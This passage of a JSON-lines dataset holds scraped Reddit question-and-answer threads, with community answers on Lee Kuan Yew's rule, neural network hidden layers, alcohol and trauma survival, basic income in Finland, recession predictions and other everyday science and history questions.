PAP with the most number of seats.  Additionally, the use of GRCs, Group Representation Constituency, meant that more members would be elected per GRC.  The only time the PAP lost a GRC was in the 2011 election when it lost Aljunied GRC to the Worker's Party (who I used to support until I heard their leader, Low Thia Khiang, speak in parliament).  Singaporean politics is thus engineered to always produce at the very least a PAP supermajority in Parliament.\n\nHe also used libel suits in order to remove political opponents.  For example, he forced J. B. Jeyaretnam into bankruptcy, resulting in the loss of his seat in parliament.  This is only one case where he used what perhaps is a biased judiciary in his favour in order to silence political opponents.\n\nDespite stepping down from the post of Prime Minister in 1990, he remained as Senior Minister until 2004 when he became Minister Mentor.  His son also became the leader of the PAP.  One could argue that Lee still managed to play a huge role in Singaporean politics in the background.\n\nThe Singaporean government also took perhaps excessive control over its citizens' personal lives.  In the 60s, the government administered haircuts to long-haired men in an attempt to suppress the hippie subculture.  The city's drug laws are notable draconian as are most of its other laws.\n\nSo we can thus see that Lee displayed many characteristics of dictatorial rule.  Singapore was, under his rule, not democratic, it routinely suppressed dissent and he continued to pull the strings despite holding no office that allowed him to do so.\n\nHowever, the reason why he is benevolent is because he essentially created modern Singapore or, at least, presided over that period.  From an aging colonial port, Singapore became the modern city that it is directly because of Lee Kuan Yew's rule.  This is the facet that most people are familiar with.\n\nHe also can be credited with creating the harmonious society despite the multiple races living in the country.  Rather than devolving into race riots like neighbouring Malaysia, Lee allowed each race to take part in civic and economic life equally.\n\nLee also allowed Singapore to punch well above its weight in the international sphere with many other nations, such as the UAE, using Singapore as a blueprint for future development.\n\nThis is ignoring his advancements in the nation's education, infrastructure, etc.  My favourite idea was the CPF, or Central Provident Fund.  Simply put, each citizen puts a percentage of his income, on top of taxes, into a fund that will then be allowed to fund his housing, healthcare and pension.  This, I feel, is an ingenious way of providing for your citizens without actually spending any more government money.  The CPF, however, has come under attack, and now there may need to be changes to it in order to support rising living costs.\n\nSo, Lee can be called a benevolent dictator.  Though his party and his government behaved in authoritarian ways, he facilitated the development of modern Singapore as a highly-advanced citystate which is a remarkable achievement.\n\nNow, one could question whether the sacrificing of freedoms in exchange for economic prosperity is worth it.  From a Western perspective, it may not be.  However, as someone who lived in Singapore for 11 years and someone who experienced life elsewhere, I would suggest that such a trade is worth it.  Singaporeans are noted for their ability to complain about literally anything, including their government.  When they spend significant amounts of time elsewhere, they often realise the many great things the government did for them.  There is little corruption, the streets are impeccably clean, the trains run on time, there is little traffic, wages are high, they have access to some of the best education in the world . . .\n\nFrom experiencing Singapore's mode of government, I personally feel that such a state is highly effective and I would advocate developing nations to seriously look at Singapore's model.  Hell, even a modern Western nation may have something to learn from him."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.amazon.com/Singapore-air-conditioned-politics-comfort-1990-2000/dp/981306546X"], [], []]}
{"q_id": "8cu3r9", "title": "how do the called \"hidden node layers\" of recursive neural networks work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cu3r9/eli5_how_do_the_called_hidden_node_layers_of/", "answers": {"a_id": ["dxhxmr7"], "score": [3], "text": ["It's a sort of \"black box\". Let's pretend we have a simple network with 1 input node, 1 middle/hidden nodes, and 1 output node. It's hooked together in a chain like so:\n\nIN--HIDDEN--OUT\n\nWe put something into the into the input node. Some operation happens to it and it gets stored to the first hidden node. We don't care what it looks like at this point because it's not our input or result. A second operation happens on what's in the hidden node and the result gets stored into the output node where we read it. This node we care about, so we don't hide what's in it.\n\nWe train the network by giving it a bunch of inputs, the network tried different combinations of operations along the way, then we judge whether the output is correct and ask the network to do it over again until it's getting mostly correct outputs. We only care what inputs we put in and whether the output is right. Since the machine determines the operations itself and we don't need to know what the operations are, the don't look at the middle steps too close, hence, \"hidden\". Of course a real neural network will have a bunch of hidden nodes in layers all tied together.\n\nIf you look at the middle nodes, a lot of the time there will be no obvious rhyme or reason to why the computer is doing what it's doing, but it still gets the right answer. Sometimes you can kinda see how it's reasoning. [Computerphile has a cool video](_URL_0_) about this involving image recognition where they show the middle steps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=BFdMrDOx_CM"]]}
{"q_id": "mo5gt", "title": "Being in a crash", "selftext": "I'm sure everybody has heard of the story of a drunk guy falling out of a 5th story window and walking away from it, but only because him being drunk prevented him from tensing up at the moment of impact.  In other words, because he was relaxed, minimal damage was done.\n\nSo my question is, in which situations is it better to loosen up before an impact to minimize damage?  For example car crashes, being punched in the face, falling out of a building, etc. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mo5gt/being_in_a_crash/", "answers": {"a_id": ["c32i6xy", "c32kr4t", "c32i6xy", "c32kr4t"], "score": [15, 4, 15, 4], "text": ["I'm a paramedic, so not a scientist or a doctor, I've been to numerous motor vehicle crashes, pedestrians hit or falls from height. I've seen seen drunk people walk away from accidents with no injuries when you think they shouldn't but I've also seen drunk people killed or seriously injured by something minor. For example drunk falls down more than ten stairs and walks away vs drunk guy gets punched once has no visible injuries but dies from brain bleeding. I think we just hear about the survival stories more frequently because its seems so unlikely. In my experience there are as many adverse outcomes but people just don't talk about it. ", "So I did a cursory literature search and to say that conflicting studies exists is an understatement.\n\nThe best article I could find is this one: _URL_0_\n\nIn this retrospective study they found that alcohol reduced mortality, but the article is good because it discusses the conflicting studies and also the possible reasons why alcohol could reduce injury.  This is a nice excerpt:\n\n > Ward and colleagues, in a review of 1198 trauma patients,\ndemonstrated no difference in the severity of injury in\nthose who had been drinking and those who had not.\nSimilar to the present study, mortality was significantly lower in those who had been drinking. They\npostulated that the improved results may have been\nthe result of an augmentation of the c\u00e1techolamine\nresponse normally seen after injury. In other studies,\nalcohol consumption has been shown to reduce\nischemia-reperfusion injury, which may also provide a\nprotective effect. Tureci et al. showed in recent animal\nstudies that ethanol may have a neuroprotective effect when administered before traumatie brain injury and\nthat the effect may be the result of inhibition of Nmethyl-D-aspartate (NMDA) receptors, NMDA receptors have been linked to excitotoxicity. As such, antagonists hold potential in the treatment of traumatic\nbrain injury and stroke,^ Another potential explanation\nfor the improved outcome with acute alcohol intoxication is that it may lead to an alteration of the cytokine profile, which is protective of death in the immediate postinjury period.\nConversely, numerous studies have shown deleterious effect of alcohol on trauma severity and outcome, Waller et al, controlled for injury severity\nand found that alcohol was still associated with an\nincreased likelihood of death, Other investigators\nhave shown that alcohol intoxication was associated\nwith either worse outcome\" or no difference in outcome, A higher incidence of complications, particularly infectious complications, has been reported among acutely intoxicated patients as well as in\nchronic alcoholics after traumatic injury or bums.\n\nFrom Yaghoubian A, Kaji A, Putnam B, De Virgilio N, De Virgilio C. Elevated blood alcohol level may be protective of trauma patient mortality. Am Surg. 2009 Oct;75(10):950-3. PubMed PMID: 19886142.\n", "I'm a paramedic, so not a scientist or a doctor, I've been to numerous motor vehicle crashes, pedestrians hit or falls from height. I've seen seen drunk people walk away from accidents with no injuries when you think they shouldn't but I've also seen drunk people killed or seriously injured by something minor. For example drunk falls down more than ten stairs and walks away vs drunk guy gets punched once has no visible injuries but dies from brain bleeding. I think we just hear about the survival stories more frequently because its seems so unlikely. In my experience there are as many adverse outcomes but people just don't talk about it. ", "So I did a cursory literature search and to say that conflicting studies exists is an understatement.\n\nThe best article I could find is this one: _URL_0_\n\nIn this retrospective study they found that alcohol reduced mortality, but the article is good because it discusses the conflicting studies and also the possible reasons why alcohol could reduce injury.  This is a nice excerpt:\n\n > Ward and colleagues, in a review of 1198 trauma patients,\ndemonstrated no difference in the severity of injury in\nthose who had been drinking and those who had not.\nSimilar to the present study, mortality was significantly lower in those who had been drinking. They\npostulated that the improved results may have been\nthe result of an augmentation of the c\u00e1techolamine\nresponse normally seen after injury. In other studies,\nalcohol consumption has been shown to reduce\nischemia-reperfusion injury, which may also provide a\nprotective effect. Tureci et al. showed in recent animal\nstudies that ethanol may have a neuroprotective effect when administered before traumatie brain injury and\nthat the effect may be the result of inhibition of Nmethyl-D-aspartate (NMDA) receptors, NMDA receptors have been linked to excitotoxicity. As such, antagonists hold potential in the treatment of traumatic\nbrain injury and stroke,^ Another potential explanation\nfor the improved outcome with acute alcohol intoxication is that it may lead to an alteration of the cytokine profile, which is protective of death in the immediate postinjury period.\nConversely, numerous studies have shown deleterious effect of alcohol on trauma severity and outcome, Waller et al, controlled for injury severity\nand found that alcohol was still associated with an\nincreased likelihood of death, Other investigators\nhave shown that alcohol intoxication was associated\nwith either worse outcome\" or no difference in outcome, A higher incidence of complications, particularly infectious complications, has been reported among acutely intoxicated patients as well as in\nchronic alcoholics after traumatic injury or bums.\n\nFrom Yaghoubian A, Kaji A, Putnam B, De Virgilio N, De Virgilio C. Elevated blood alcohol level may be protective of trauma patient mortality. Am Surg. 2009 Oct;75(10):950-3. PubMed PMID: 19886142.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmed/19886142"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/19886142"]]}
{"q_id": "2cawk4", "title": "how and why does a dried bar of soap last longer than one that is out of the package?", "selftext": "My mother has an old coffee can without a lid as a storage container where she stores several bars of soap to dry and harden.  Once they have dried, then we can take them out and use them.  I know that the hardening process does work, but why does a bar of soap with the same materials last longer after being exposed to the air for a long period of time than one from the same manufacture that is just out of the package and how does this occur?\n\nEdit: For Clarity", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2cawk4/eli5_how_and_why_does_a_dried_bar_of_soap_last/", "answers": {"a_id": ["cjdnml4", "cjdo7g7"], "score": [3, 2], "text": ["I'm not quite sure what you are asking... How does a dry bar of soap in a coffee can last longer than a dry bar of soap not in a coffee can?", "If you mean that she takes them out of the package and then let's them dry even more before using it? Probably because less soap melts off per use. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "48boyl", "title": "What was the most common male name in the world in 1000ce?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/48boyl/what_was_the_most_common_male_name_in_the_world/", "answers": {"a_id": ["d0ig3vp"], "score": [2], "text": ["Sorry, we don't allow [\"trivia seeking\" questions](_URL_0_).  These tend to produce threads which are collections of disjointed, partial responses, and not the in-depth discussions about a particular topic we're looking for.  If you have a specific question about an historical event, period, or person, please feel free to re-compose your question and submit it again. Alternatively, questions of this type can be directed to more appropriate subreddits, such as /r/history /r/askhistory, or /r/tellmeafact. For further explanation of the rule, feel free to consult [this META thread](_URL_1_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22trivia_seeking.22_questions", "https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/"]]}
{"q_id": "435ffz", "title": "why does it require energy to hold something heavy in a stationary position?", "selftext": "In physics today we were going over how work done (or energy) is equal to force multiplied by distance moved, but our teacher was unable to explain clearly why it requires so much energy to hold something stationary. If the object isn't being moved what is the chemical energy being converted to?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/435ffz/eli5_why_does_it_require_energy_to_hold_something/", "answers": {"a_id": ["czflv72", "czflvve", "czfm70k"], "score": [13, 17, 2], "text": ["I assume you are talking about a HUMAN not being able to hold a heavy thing up without expending energy? If the human were perfectly rigid you could stack a box on top and your body would physically keep it in the air, but that isn't the natural state of your body. For a body to stay rigid requires you to use your muscles, and muscles take energy to run. Typically in a situation like this you would be thinking of something like a table, a table can hold a box indefinitely and you don't need to provide the table power, but if the table were made with soft legs that only remain rigid when you run electricty to them, then you need to provide electricity to the table legs. The waste energy is heat. ", "The physics class should also cover force diagrams. That heavy object has a downward force from gravity. To hold it above the ground requires an equal force upward. If you're holding it, this upward force is exerted by your muscles and skeleton. Your muscles require your body's energy to maintain that force. So while you may not be doing work by how physics defines work, you're still using energy to apply a force.", "Human muscles have to contract and release, they can't lock rigid.  If your body could lock the skeleton together into a rigid, stable structure, then it wouldn't cost any energy to hold a stationary weight.  As it is, your muscles are constantly firing, generating heat, to keep the weight steady and keep our bodies balanced.  Our bodies just aren't optimized to hold something perfectly still, but rather to dynamically move and balance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6hz54e", "title": "why are analog wrist watches so complex with so many individual components?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6hz54e/eli5_why_are_analog_wrist_watches_so_complex_with/", "answers": {"a_id": ["dj28ge8"], "score": [16], "text": ["A mechanical wrist watch is using lots of tiny precision components and have only been around for about a hundred years. However it is not very complex. There is a spring as a power source, a very precise pendulum to keep time, an escapement that make sure the spring is unwound at the rate determined by the pendulum and then there is a series of gears to create the movement of the different dials. So it is not so complex but it does require some precision components that needs to fit inside a very tiny space."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3r8b0g", "title": "why finland wants to introduce basic income?", "selftext": "Prooflink:_URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3r8b0g/eli5_why_finland_wants_to_introduce_basic_income/", "answers": {"a_id": ["cwlrc5w", "cwly7zs", "cwm0709", "cwm3tox", "cwmkigk", "cwmvgzv"], "score": [173, 67, 28, 9, 2, 2], "text": ["I'm not sure about Finland, but in general the arguments for basic income are that its a simpler version of welfare with much less bureaucratic costs, and also that Keynesian Economics is right which means that you can make your economy successful by ensuring that everyone is economically active with enough money to do a lot of stuff.  If poor people sit at home with no economic activity other than the bag of rice they bought to eat for the month, you are losing out on them buying stuff and them selling other poor people stuff.", "A Universal Basic Income (UBI) is a pretty darn-tootin' sweet idea.  I'm a libertarian but would vastly prefer this to most of the social spending we do.\n\nBack-of-the-envelope math show me **a UBI would eliminate poverty entirely without raising taxes at all.**\n\nSo we spend around $2 trillion on Social Security, Medicaid and Welfare, not including disability.\n\nCurrently the federal poverty line for a family of four is $23K/year.  If you just take the $2 trillion we already spend and just give it out to everyone equally, that's $6250 per person, or $25K for a family of four.\n\nBOOM.  Poverty: ELIMINATED.\n\nAnd that's assuming this poor family of four didn't work a single fucking hour, all fucking year.  Just sittin' at home playin' DOTA and eatin' rice and shit, 10/10.  This also doesn't include any state or local programs, or the fact that every April we could recollect the $6250 that, say, Bill Gates technically receives because it's universal.\n\nYou couldn't make this transition tomorrow, as some people are depending on those SS checks, but you could begin a slow transition.  IMHO, this is a moral imperative and there is no good excuse for not doing it.\n\n**TL,DR**  Finland wants to introduce the UBI because it can straight up eliminate poverty.", "Because we're getting really good at making things that aren't human do our jobs for us and so now we have a surplus of humans who have nothing to do.", "There's a lot more to learn about this idea over at /r/basicincome, including an informative [FAQ](_URL_2_).\n\nSimply put, Finland recognizes what year it is, and sees a road to a future where jobs are increasingly hard to come by, and also less full-time in nature and far more short-term, temporary, and even on-demand (like Uber driving).\n\nThe changing nature of work requires a social security system built around efficiency and flexibility. Whereas in the 20th century, we could create patchworks of programs to assist people in various ways at various times with inefficient administrative costs, this won't work in the 21st century and is increasingly costly and [counterproductive](_URL_0_).\n\nAs technology continues to transform the market for human labor, it makes more sense to just eliminate most of our income safety net systems (not healthcare and education services) and replace them with a universal amount of cash that people can decide themselves how to use best.\n\nBy making the amount universal and not withdrawing it with earnings from work, there's no more need for administration costs, no more disincentive to work that welfare programs introduce, no more stigma that comes from only helping some and not others, and all forms of work (both paid and unpaid) will find financial security.\n\nFinland is among the first nations pursuing this because of the large amount of support the idea already has there, [both among the public and among their representatives](_URL_1_).", "In Finland we have a very high-functioning welfare system. If you for example lose your job, in which you have worked for 10 months if I recall, you are entitled to 500 days of welfare that amounts a % of the income you had. Now if you do any work in this period, you lose the support. There are other examples too. The finnish system has a problem of being counter-effective in motivating people to go to work, as they can make more money doing nothing than going to work. This isn't all the cases but a more modern system will be much better.\n", "Let's try to answer while sticking to original sources: Finland's current social security encourages passivity and the basic income may encourage working, even if it generates only a little income.\n\nWhere to find this? This is going to be ELI15, but... The [government platform](_URL_0_) says there will be an experiment and nothing more, no motivations. It is under the heading  \"Services to be customer-focused\", with the general motivation of enabling people to make their own choices.^1 The text is [purposefully vague](_URL_1_), in order to generate popular discussion. Government-leading Centre Party's vice chair Annika Saarikko says: \"It makes sense to investigate basic income, because it may reduce bureaucracy in social security, clarify it, and would encourage working\".^2 A manager of a think tank associated with the Centre Party says: \"The current social security encourages to be passive. The basic income would give the opportunity to feel oneself worthy even with a small income. It is often forgotten that even 20 euros is a considerable sum to some individual\".^3\n\nOriginals:\n1) \"Mahdollistetaan ihmisille omien valintojen tekeminen.\"\n2) \"Perustuloa kannattaa selvitt\u00e4\u00e4, koska se voisi v\u00e4hent\u00e4\u00e4 sosiaaliturvan byrokratiaa, selkeytt\u00e4\u00e4 sit\u00e4 ja kannustaisi ty\u00f6ntekoon.\"\n3) \"Nykyinen sosiaaliturva kannustaa passiivisuuteen. Perustulo antaisi mahdollisuuden tuntea itsens\u00e4 hy\u00f6dylliseksi pienill\u00e4kin tuloilla. Usein unohtuu, ett\u00e4 20 euroakin on merkitt\u00e4v\u00e4 summa rahaa jollekin ihmiselle.\""]}, "title_urls": [], "selftext_urls": ["http://yle.fi/uutiset/kela_to_prepare_basic_income_proposal/8422295"], "answers_urls": [[], [], [], ["https://medium.com/basic-income/breaking-down-without-a-spare-a271a6ef6f7e", "http://www.basicincome.org/news/2015/03/finland-parliamentary-candidates/", "https://www.reddit.com/r/basicincome/wiki/index"], [], ["http://www.keskusta.fi/loader.aspx?id=c3374414-88d8-4b64-87a4-27faab2880c5", "http://www.hs.fi/politiikka/a1432785941840?jako=2b53886af13f22b2f88ff7d6f2b760dc"]]}
{"q_id": "cqdzw4", "title": "if a prediction of a recession causes the market to crash, can it be said that the prediction itself is part of the cause of the recession? like a self-fulfilling prophecy?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cqdzw4/eli5_if_a_prediction_of_a_recession_causes_the/", "answers": {"a_id": ["ewvlnfp", "ewvlqdp", "ewvst4z", "ewvyp4d", "eww8isf", "eww98af", "eww9l4o", "ewwa3bq", "ewwa43n", "ewwa47n", "ewwae5s", "ewwae72", "ewwbn9z", "ewwbqxa", "ewwbs62", "ewwcbvo", "ewwcfe4", "ewwd3zx", "ewwu0sn", "ewwzh8u", "ewy8kmz"], "score": [3167, 115, 8, 418, 48, 23, 2, 4, 12, 129, 889, 2, 5, 4, 2, 6, 2, 14, 2, 3, 2], "text": ["The prediction is a sort of self fulfilling prophecy. However a prediction of a recession will not do much unless all the analysts in the market also make the same prediction. In addition people will be looking for some sort of trigger in addition to having predicted the recession. So if there is some sort of trigger and nobody predicts a recession then there will not be one yet. However if at some later point you get the same trigger but the majority of the market does predict that the recession is close it will trigger it and cause a recession.", "If it were that shallow, yes. But there is a ton of real data, visible to all investors, that goes into that prediction. So in reality it is the actual data about economic performance that leads to the recession.", "Say you have a magic crystal to accurately see into the future, and say you do see a recession.\n\nYou could always claim that your prophecy itself caused the recession as most people believe in the truthfullness of your magic crystal. But it could equally also be the recession occurred independently of your prophecy. \n\nThere is no way to know which scenario happened, unless you do experiments and won't prophesize when you do see the recession. But all this does is tinting your own crystal, making it less reliable, and losing in competition against other guys with other crystals. You cannot do that experiment unless you effectively burn your crystal.\n\nThe answer to that paradox is simple: not the crystal or the prophecy causes the recession, but the nervous state of the economy causes the recession, when small changes in opinion have a large impact.", "There is a theory that when it comes to large scale human behavior as soon as you start to measure something, the measurement loses some of its value.  You want to measure how well your business is doing?  Measure quarterly profit and instantly the company will start to do weird shit to boost quarterly figures in the short term.  \n\nHowever just because measurements corrupt things doesn't mean that they are useless.  Everyone has been eyeing the market thinking that it is behaving oddly.  Valuations on assets are sky high, unemployment is low, yet inflation is low and wages are not rising.  People have been watching these bond yield numbers for a year now seeing them flashing danger signs and this is just the straw that broke the camel's back in terms of convincing people there is a real challenge here.  \n\nThe fundamentals of the market are fucked up right now.", "The way you phrased the question, \"if  prediction \\*causes\\* a market recession, is the prediction part of the cause?\" Yes. Yes it is. By definition.\n\nInstead, \"do predictions cause market crashes?\" No, probably not. People make predictions every day. It probably balances-out on average.", "\nThe technical definition of recession is 2 consecutive negative gdp quarters.\n\nThe market is basically how much people will be paying for expected earnings of companies and dividends.\n\nThe first affects the second, but only really becomes causal if people and businesses and governments actually stop spending money. \n\nSo if market actually scares people it can contribute to a recession; but there\u2019s a lot of stuff that goes into the gdp calculation (consumer spending, business spending, investment, govt spending) so it probably wouldn\u2019t ever be the primary factor if an economist would make a write up.", "In a liquid marketplace for goods and services, not really. If you can nail down the fundamental value of something, or even a range, that is where the other side of a trade will come in and protect whatever level. Ie if a crazy consumer reports article says THE PRICE OF CARS IS GOING BANANAS, and it manages to force the price up (as you suggest) at a certain point people will start buying bus passes and selling cars. The market corrects. Shitty example, granted. \n\nIn a niche, financially-settled market controlled by a collection of spec players (not producers of anything, not consumers of anything).... sure!!", "You might find this interesting:\n\n**Level 1 chaotic systems** are systems which are chaotic but can be measured without changing the results. \n\nThis is different from **Level 2 Chaotic Systems** which are changed as you measure them. For example, the cryptocurrency markets that we all deal with \u2014 if you perfectly predict the next few days of activity, then post those predictions in a post on your steem blog, the act of posting the prediction will change the end result. \n\n[_URL_0_](_URL_0_)", "The yield curve inverts based on the bond markets expectations of future short-term rates. \n\nFuture short-term rates are basically determined by the health of the economy. Essentially low rates = low growth. \n\nSo once the bond market thinks that the economy is slower the future than it is now, the shorter-visioned stock market participants get scared.\n\nSo we can circular reference ourselves into a market crash but not a recession, which is hard GDP data. Unless consumers consume less + companies spend less + etc the economy won't actually shrink 2 quarters in a row, which is the definition of a recession.", "The man who sold very good hot dogs\n\nThere was once a man who lived by the side of the road and sold hot dogs.  He was hard of hearing so he had no radio - he had trouble with his eyes, so he read no newspapers and of course he didn't look at television.  But he sold very good hot dogs. He put up signs on the highway telling everyone how good they were, he stood on the side of the road and cried out to all that past 'buy a hot dog, they are the best in town'.\n\nAnd people bought his hot dogs and he increased his meat and bun orders. He bought a bigger stove to take care of all the extra business. He finally got his son to come and help him out with his business. \n\nBut then something happened, his son who had been well educated said . . . ' Father, haven't you been listening to the radio or reading the newspapers or watching television? There's a big recession happening right now. The current business situation is terrible in this country - we have problems with unemployment, high living costs, strikes, pollution, the influence of minorities and majorities, the rich, the poor, drugs, alcohol, capitalism and communism '.\n\nWhere upon his father thought, ' well my son's been well educated, he reads the papers, listens to the radio and watches television, so he ought to know '.\n\nSo his father cut down on his meat and bun orders, took down all his advertising signs and no longer bothered to stand by the side of the road to promote and sell his hot dogs, . . . . and his hot dog sales fell almost overnight.", "Recession expectations can be self-fulfilling via the [paradox of thrift](_URL_0_), but not in the way you have worded it. First, we need to define the basic concepts you mentioned:\n\nA **recession** is when total national income, measured by GDP, along with other measures such as employment and retail sales, falls for several months across the country. Think of this as a real, sustained reduction in economic activity.\n\nA **market crash** is a severe drop in the value of stocks and other financial assets. It can be driven by some short-term shock, including psychological factors, or it can be driven by new information and expectations about what's going to happen to corporate profits--including due to falling expectations for economic growth.\n\n**Predictions**\\--generally referred to as \"expectations\" by economists--might be those of 1) stock market traders and financial institutions, 2) the Federal Reserve (the central bank of the US), or 3) the average consumer.\n\nHow do these things fit together?\n\n1. If these traders and financial institutions freak out and the market crashes, it is unlikely to cause a recession. Some of the worst recessions in the past have been caused by financial crises, but most financial crises do not cause recessions. The stock market crash at the end of the 90's internet bubble is a very good example of this. Investors realized they'd overvalued a bunch of tech stocks, causing a massive sell-off. But most economic activity went along the way it was, since it didn't directly affect them.\n2. If the Federal Reserve thinks a recession is coming, they will cut interest rates further to prevent it. So Fed expectations of a recession are more likely to *stop* a recession than cause it.\n3. If the average consumer anticipates a recession, *this is where things get dangerous.* When consumers expect hard times ahead, they cut back on spending and start saving for a rainy day. But, by doing that, they cause a reduction in overall spending (aggregate demand) and thus cause businesses to cut back on investment and employment, leading to a recession. This is the classic \"paradox of thrift\" scenario.\n\nTLDR; Predictions of a recession might cause a recession, but not because of the market crash. The predictions might cause a recession by freaking the average person out and causing them to cut back on spending.", "the rates are a result of other predictions, which is generally that everyone is always preparing for the next recession.  Its generally good game theory to always be more prepared than your competitors, so when the recession hits, your Ford, and not GM. (poor example, as in this case, bankruptcy turned out to be a real boost to GM's long term profits).\n\nThe central banks primary job is to try and temper the swings by inducing some incentive to make spenders (mostly corporations) not go too far into prepper status that they create the thing they are prepping for.\n\nanyway, the yield curve is well down the road on the signal, as at this point, things have already progressed to the point that yields are flipped. \n\nbasically, there were things that previewed the yield curve, and the yield curve is just another event in a string of events before the cycle repeats.  Of course, things could reverse too, history does not dictate the future, everything is true until it isnt.", "Op that is what makes a crash happen. Prices aren\u2019t determined by some ultra power. It\u2019s determined by how we feel about something at the core of it and then the fundamentals of the asset. A lot of times the fundamentals of the asset will change before our feelings catch up to it and that is how you get bubbles and crashes. \n\nPeople realize that they are holding onto a lot of assets that have no where to go but down then price will crash as everyone rushes to the door. Just because someone realizes before the panic doesn\u2019t make it a self fulfilling prophecy imo.   In terms of this current economy. There is something wrong with it. Low inflation despite low interests rates and low unemployment. The US dollar is rising ( horrible for other countries). Globally yields are inverted. Europe has negative yields in some countries.  You have the trade war. Not to mention it\u2019s been 11 years without a major recession or pull back and like the saying goes economies don\u2019t die from old age. They do die from \u201crandom events\u201d .  These random events have a better and better chance of happening the longer it doesn\u2019t happen.   Some finance guys argue the longer you wait the worst the outcome from the events get. You don\u2019t allow for the weak to die then they only grow bigger and they\u2019ll affect more people as time goes on.", "A prediction of a recession does not cause the market to crash.\n\nPredictive data that often precedes future recessions, on the other hand, can.", "The market is made out of grownups telling imaginary stories about money. As long as the stories say there is going to be more money, they make more money. But sometimes, the money itself is imaginary. That's how a company like Uber can get millions of dollars but never turn a profit. Everyone likes the pretend story that it's making money so they act like it's true.\n\nBut eventually someone opens their wallet and finds out it's full of imaginary money instead of real money. They don't like what might happen if other people find out. So they try to find ways to convert that imaginary money back to real money. But every trade they make just leaves them with more imaginary money. Soon, everyone notices how flustered everyone else looks and the spell's broken: nobody believes the story anymore.\n\nSo yes, in some ways calling out the signs of a recession cause the recession. It makes people nervously go over how much of their money is imaginary and, if they don't like the ratio, they try to dupe other people into giving them real money for imaginary money. That just makes other people more likely to notice how much money is imaginary.\n\nGrownups are smart. Especially grownups with a lot of money! That's why they don't starve in a recession. You should give them all of your money and trust them with it, so they might remember and help you when it happens.", "No. Nobody cares about prognosticators. Follow the money. Credit markets are more sensitive than equity markets. BIG money (sovereign states and massive corporations) don\u2019t hold cash, they put it in long or short term benchmark bonds - frequently, US Treasury bills (short term) and bonds (long term). When BIG money thinks that interest rates will be lower in ten years than in two years, the MONEY is planning on an economic slowdown.", "Yeah consumer sentiment is a factor. But so are a lot of other factors. \n\nThe yield curve today in the US is concerning for sure, but I think the media is just doing what its always done - capitalizing on fear.  The economy is still pretty strong", "Only because a handful of \u201cexperts\u201d will ALWAYS predict a recession. It might not be the same experts every time, but there will always be a few who predict it, and law of probability states eventually they\u2019ll be right.", "Not really.  If the prediction is based on data that matches historical trends, many people will have access to the same predictions.\n\nThe reason it doesn't happen is because the first one to flinch before a bubble pops will miss out on the bubble gains.  All traders are essentially bullish because if the market didn't consistently increase in value over the long term, there'd be no point to trading.\n\nThink of this example.  Say profits are good, but there's fear of a recession in the air.  You decide to stop hiring and cut marketing spends.  Your competitor keeps expanding and making sales.  If a recession hits, they might have to fire some of the new hires, but they are still better prepared since they landed some more sales while you were cutting back.  The first one to start acting like there's a recession will lose because the business can still respond to a recession if one happens.  If there's no major recession, then you cut back for no reason.\n\nThe drive to make more money is always a push back against bearish behaviors.  Don't get me wrong, we will inevitably have another recession at some point, but there's an old joke that the news has predicted 10 of the last 3 recessions.  The predictions themselves don't cause them.", "When people make those types of predictions they aren't staring into a crystal ball or reading the bones. \n\nThey tend to be looking at certain economic indicators. And those indicators can show trends that lead to certain economic situations. \n\nSomewhat like if you see someone drunkenly speeding you can predict that they will soon get into a car crash. \n\nSure, there was a prediction, but that prediction didn't cause that event.", "Doesn't that mean the SEC needs to sue the media?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["https://steemit.com/chaos/@heymattsokol/level-1-vs-level-2-chaotic-systems-steem-is-level-2"], [], [], ["https://en.wikipedia.org/wiki/Paradox_of_thrift"], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "c28o4c", "title": "In the 1860s, would a non-native person been able to join and become a part of a native tribe?", "selftext": "There have been cases of white people becoming parts of native tribes in the 18th century, however, I could not find anything after that. The best possible answer would address all races. Thank you!", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/c28o4c/in_the_1860s_would_a_nonnative_person_been_able/", "answers": {"a_id": ["erklv9i"], "score": [2], "text": ["Elijah Nicholas Wilson was a young boy when he ran away from home to live with the Indians.   He became the adopted brother of Chief Washakie, who enticed Wilson to join him with the gift of a paint pony and a promise to take him away from daily chores of a homesteader life. \n\nIf I recall correctly Wakashie's younger brother died of sickness.   His grieving mother wanted another child to replace her lost son so Wilson was chosen.   In Wilson's biography *\"The White Indian Boy: The Story of Uncle Nick Among the Shoshones\"*  he tells us that Wakashie made every effort to ensure that Wilson was aware of the consequences of leaving his family and joined them on his own free will.   During his time with the Indians Wilson always had the option to return to his home and family but, fearing reprisals, the Indians kept him hidden from sight whenever they were close to white traders or settlements \n\nWilson was born in 1842.  He ran away from home when he was 10 years old.   His memoir helps give us an insight into the lives of the Shoshone people during the middle 1800's and is a good read today."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
